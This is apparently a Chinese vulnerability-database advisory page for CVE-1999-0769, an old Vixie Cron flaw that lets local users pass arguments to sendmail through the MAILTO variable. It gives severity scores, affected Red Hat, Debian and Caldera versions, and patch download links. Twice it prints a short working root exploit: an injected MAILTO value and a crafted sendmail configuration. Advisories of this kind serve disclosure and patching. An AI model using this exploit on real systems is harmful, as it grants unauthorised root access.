CVE-1999-0769
CVSS7.2
发布时间 :1999-08-25 00:00:00
修订时间 :2008-09-09 08:35:21
NMCOES    

[原文]Vixie Cron on Linux systems allows local users to set parameters of sendmail commands via the MAILTO environmental variable.


[CNNVD]Vixie Cron MAILTO发送邮件漏洞(CNNVD-199908-052)

        基于Linux系统的Vixie Cron存在漏洞。本地用户可以借助MAILTO环境变量设置发送邮件命令的参数。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:redhat:linux:6.0::i386
cpe:/o:debian:debian_linux:2.2Debian Debian Linux 2.2
cpe:/o:redhat:linux:5.1Red Hat Linux 5.1
cpe:/o:redhat:linux:4.2Red Hat Linux 4.2
cpe:/o:redhat:linux:4.1Red Hat Linux 4.1
cpe:/o:redhat:linux:5.2::i386
cpe:/a:paul_vixie:vixie_cron:3.0_pl1
cpe:/o:caldera:openlinux:2.2
cpe:/o:redhat:linux:5.0Red Hat Linux 5.0
cpe:/o:debian:debian_linux:2.1Debian Debian Linux 2.1
cpe:/o:redhat:linux:4.0Red Hat Linux 4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0769
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0769
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199908-052
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/611
(UNKNOWN)  BID  611

- 漏洞信息

Vixie Cron MAILTO发送邮件漏洞
高危 输入验证
1999-08-25 00:00:00 2005-05-02 00:00:00
本地  
        基于Linux系统的Vixie Cron存在漏洞。本地用户可以借助MAILTO环境变量设置发送邮件命令的参数。

- 公告与补丁

        The solution is to validate the contents of the MAILTO environment variable to insure it can't pass command line arguments to sendmail. As an added precaution the cron deamon should execute sendmail with the user id of the user the queue the commands for execution instead of doing it as root.
        RedHat has made the following updated RPMs available:
        Red Hat Linux 4.2:
        Intel:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/4.2/i386/vixie-cron-3.0.1-37.4.2.i386.rpm
        Alpha:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/4.2/alpha/vixie-cron-3.0.1-37.4.2.alpha.rpm
        Sparc:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/4.2/sparc/vixie-cron-3.0.1-37.4.2.sparc.rpm
        Source packages:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/4.2/SRPMS/vixie-cron-3.0.1-37.4.2.src.rpm
        Red Hat Linux 5.2:
        Intel:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/5.2/i386/vixie-cron-3.0.1-37.5.2.i386.rpm
        Alpha:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/5.2/alpha/vixie-cron-3.0.1-37.5.2.alpha.rpm
        Sparc:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/5.2/sparc/vixie-cron-3.0.1-37.5.2.sparc.rpm
        Source packages:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/5.2/SRPMS/vixie-cron-3.0.1-37.5.2.src.rpm
        Red Hat Linux 6.0:
        Intel:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/6.0/i386/vixie-cron-3.0.1-38.i386.rpm
        Alpha:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/6.0/alpha/vixie-cron-3.0.1-38.alpha.rpm
        Sparc:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/6.0/sparc/vixie-cron-3.0.1-38.sparc.rpm
        Source packages:
        rpm -Uvh ftp://ftp.redhat.com/redhat/updates/6.0/SRPMS/vixie-cron-3.0.1-38.src.rpm
        Caldera Systems has developed the following fixes for OpenLinux 2.2 ftp://ftp.calderasystems.com/pub/OpenLinux/updates/2.2/current/RPMS/vixie-cron-3.0.1-19.i386.rpm.
        Debian GNU/Linux 2.1 alias slink
        --------------------------------
        This version of Debian was released only for the Intel, the Motorola 68xxx, the alpha and the Sun sparc architecture.
        Source archives:
        http://security.debian.org/dists/stable/updates/source/cron_3.0pl1-50.2.diff.gz
        MD5 checksum: 96a4b55e06127c4a6cf31ee511227adb
        http://security.debian.org/dists/stable/updates/source/cron_3.0pl1-50.2.dsc MD5 checksum: 3998735f00d3f10a5e290227db6bf611
        http://security.debian.org/dists/stable/updates/source/cron_3.0pl1.orig.tar.gz
        MD5 checksum: 4c64aece846f8483daf440f8e3dd210f
        Alpha architecture:
        http://security.debian.org/dists/stable/updates/binary-alpha/cron_3.0pl1-50.2_alpha.deb
        MD5 checksum: cbab162fffd7dba71373b3eb62201b52
        Intel ia32 architecture:
        http://security.debian.org/dists/stable/updates/binary-i386/cron_3.0pl1-50.2_i386.deb
        MD5 checksum: 85d9ffff103d0121101b7b80817d0abe
        Motorola 680x0 architecture:
        http://security.debian.org/dists/stable/updates/binary-m68k/cron_3.0pl1-50.2_m68k.deb
        MD5 checksum: 62a039991c237a92c4a3cdcef4a328d7
        Sun Sparc architecture:
        http://security.debian.org/dists/stable/updates/binary-sparc/cron_3.0pl1-50.2_sparc.deb
        MD5 checksum: 56f5e099ab621572b560706e1eec9ebb
        Debian GNU/Linux pre2.2 alias potato
        ------------------------------------
        Source archives:
        http://security.debian.org/dists/unstable/updates/source/cron_3.0pl1-52.diff.gz
        MD5 checksum: f500a0dc7175d64de4822f159a51d739
        http://security.debian.org/dists/unstable/updates/source/cron_3.0pl1-52.dsc
        MD5 checksum: 1a16af335a106805ecdd6585a75ee61a
        http://security.debian.org/dists/unstable/updates/source/cron_3.0pl1.orig.tar.gz
        MD5 checksum: 4c64aece846f8483daf440f8e3dd210f
        Alpha architecture:
        http://security.debian.org/dists/unstable/updates/binary-alpha/cron_3.0pl1-52_alpha.deb
        MD5 checksum: 8e5246a79269b8f489a3cdb7efc41661
        ARM architecture:
        http://security.debian.org/dists/unstable/updates/binary-arm/cron_3.0pl1-52_arm.deb
        MD5 checksum: 8d103d4a60ec94d1f0fb07caabd34575
        Intel ia32 architecture:
        http://security.debian.org/dists/unstable/updates/binary-i386/cron_3.0pl1-52_i386.deb
        MD5 checksum: a7f8de4f43aa21e2fe94fe602c6c2c83
        Motorola 680x0 architecture:
        http://security.debian.org/dists/unstable/updates/binary-m68k/cron_3.0pl1-52_m68k.deb
        MD5 checksum: b2e866ecc10e95094202327eab5fc0fd
        PowerPC architecture:
        http://security.debian.org/dists/unstable/updates/binary-powerpc/cron_3.0pl1-52_powerpc.deb
        MD5 checksum: 058a25564bc7c9c6fb153eafa0126cee
        Sun Sparc architecture:
        http://security.debian.org/dists/unstable/updates/binary-sparc/cron_3.0pl1-52_sparc.deb
        MD5 checksum: ed34f37c41d9322ba094ede04d8d2e16

- 漏洞信息 (19474)

Caldera OpenLinux 2.2 ,Debian 2.1/2.2,RedHat <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability (EDBID:19474)
linux local
1999-08-25 Verified
0 Olaf Kirch
N/A [点击下载]
Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability

source: http://www.securityfocus.com/bid/611/info

Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.

The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access. 


Set the user's crontab to

MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
R=20/40,
T=DNS/RFC822/X-Unix,
A=mail.local -l

i.e. remove the S flag, and set DefaultUser.


		

- 漏洞信息

1061
Vixie Cron MAILTO Sendmail Variable Manipulation
Local Access Required Input Manipulation
Loss of Integrity Workaround
Exploit Public Uncoordinated Disclosure

- 漏洞描述

Unknown or Incomplete

- 时间线

1999-08-25 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Vixie Cron MAILTO Sendmail Vulnerability
Input Validation Error 611
No Yes
1999-08-25 12:00:00 2009-07-11 12:56:00
The vulnerability was announced by RedHat Software. The exploit is from Olaf Kirch.

- 受影响的程序版本

RedHat Linux 6.0
RedHat Linux 5.2 i386
RedHat Linux 5.1
- Standard & Poors ComStock 4.2.4
RedHat Linux 5.0
RedHat Linux 4.2
RedHat Linux 4.1
RedHat Linux 4.0
Paul Vixie Vixie Cron 3.0 pl1
+ Conectiva Linux 8.0
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
+ Progeny Debian 1.0
Debian Linux 2.2
Debian Linux 2.1
Caldera OpenLinux 2.2
Slackware Linux 4.0

- 不受影响的程序版本

Slackware Linux 4.0

- 漏洞讨论

Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.

The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access.

- 漏洞利用

Set the user's crontab to

MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
R=20/40,
T=DNS/RFC822/X-Unix,
A=mail.local -l

i.e. remove the S flag, and set DefaultUser.

- 解决方案

The solution is to validate the contents of the MAILTO environment variable to insure it can't pass command line arguments to sendmail. As an added precaution the cron deamon should execute sendmail with the user id of the user the queue the commands for execution instead of doing it as root.

RedHat has made the following updated RPMs available:

Red Hat Linux 4.2:

Intel:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/4.2/i386/vixie-cron-3.0.1-37.4.2.i386.rpm

Alpha:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/4.2/alpha/vixie-cron-3.0.1-37.4.2.alpha.rpm

Sparc:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/4.2/sparc/vixie-cron-3.0.1-37.4.2.sparc.rpm

Source packages:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/4.2/SRPMS/vixie-cron-3.0.1-37.4.2.src.rpm

Red Hat Linux 5.2:

Intel:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/5.2/i386/vixie-cron-3.0.1-37.5.2.i386.rpm

Alpha:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/5.2/alpha/vixie-cron-3.0.1-37.5.2.alpha.rpm

Sparc:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/5.2/sparc/vixie-cron-3.0.1-37.5.2.sparc.rpm

Source packages:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/5.2/SRPMS/vixie-cron-3.0.1-37.5.2.src.rpm

Red Hat Linux 6.0:

Intel:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/6.0/i386/vixie-cron-3.0.1-38.i386.rpm

Alpha:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/6.0/alpha/vixie-cron-3.0.1-38.alpha.rpm

Sparc:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/6.0/sparc/vixie-cron-3.0.1-38.sparc.rpm

Source packages:
rpm -Uvh ftp://ftp.redhat.com/redhat/updates/6.0/SRPMS/vixie-cron-3.0.1-38.src.rpm

Caldera Systems has developed the following fixes for OpenLinux 2.2 ftp://ftp.calderasystems.com/pub/OpenLinux/updates/2.2/current/RPMS/vixie-cron-3.0.1-19.i386.rpm.

Debian GNU/Linux 2.1 alias slink
--------------------------------
This version of Debian was released only for the Intel, the Motorola 68xxx, the alpha and the Sun sparc architecture.

Source archives:
http://security.debian.org/dists/stable/updates/source/cron_3.0pl1-50.2.diff.gz
MD5 checksum: 96a4b55e06127c4a6cf31ee511227adb
http://security.debian.org/dists/stable/updates/source/cron_3.0pl1-50.2.dsc MD5 checksum: 3998735f00d3f10a5e290227db6bf611

http://security.debian.org/dists/stable/updates/source/cron_3.0pl1.orig.tar.gz
MD5 checksum: 4c64aece846f8483daf440f8e3dd210f

Alpha architecture:
http://security.debian.org/dists/stable/updates/binary-alpha/cron_3.0pl1-50.2_alpha.deb
MD5 checksum: cbab162fffd7dba71373b3eb62201b52

Intel ia32 architecture:
http://security.debian.org/dists/stable/updates/binary-i386/cron_3.0pl1-50.2_i386.deb
MD5 checksum: 85d9ffff103d0121101b7b80817d0abe

Motorola 680x0 architecture:
http://security.debian.org/dists/stable/updates/binary-m68k/cron_3.0pl1-50.2_m68k.deb
MD5 checksum: 62a039991c237a92c4a3cdcef4a328d7

Sun Sparc architecture:
http://security.debian.org/dists/stable/updates/binary-sparc/cron_3.0pl1-50.2_sparc.deb
MD5 checksum: 56f5e099ab621572b560706e1eec9ebb

Debian GNU/Linux pre2.2 alias potato
------------------------------------

Source archives:
http://security.debian.org/dists/unstable/updates/source/cron_3.0pl1-52.diff.gz
MD5 checksum: f500a0dc7175d64de4822f159a51d739
http://security.debian.org/dists/unstable/updates/source/cron_3.0pl1-52.dsc
MD5 checksum: 1a16af335a106805ecdd6585a75ee61a
http://security.debian.org/dists/unstable/updates/source/cron_3.0pl1.orig.tar.gz
MD5 checksum: 4c64aece846f8483daf440f8e3dd210f

Alpha architecture:
http://security.debian.org/dists/unstable/updates/binary-alpha/cron_3.0pl1-52_alpha.deb
MD5 checksum: 8e5246a79269b8f489a3cdb7efc41661

ARM architecture:
http://security.debian.org/dists/unstable/updates/binary-arm/cron_3.0pl1-52_arm.deb
MD5 checksum: 8d103d4a60ec94d1f0fb07caabd34575

Intel ia32 architecture:
http://security.debian.org/dists/unstable/updates/binary-i386/cron_3.0pl1-52_i386.deb
MD5 checksum: a7f8de4f43aa21e2fe94fe602c6c2c83

Motorola 680x0 architecture:
http://security.debian.org/dists/unstable/updates/binary-m68k/cron_3.0pl1-52_m68k.deb
MD5 checksum: b2e866ecc10e95094202327eab5fc0fd

PowerPC architecture:
http://security.debian.org/dists/unstable/updates/binary-powerpc/cron_3.0pl1-52_powerpc.deb
MD5 checksum: 058a25564bc7c9c6fb153eafa0126cee

Sun Sparc architecture:
http://security.debian.org/dists/unstable/updates/binary-sparc/cron_3.0pl1-52_sparc.deb
MD5 checksum: ed34f37c41d9322ba094ede04d8d2e16

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站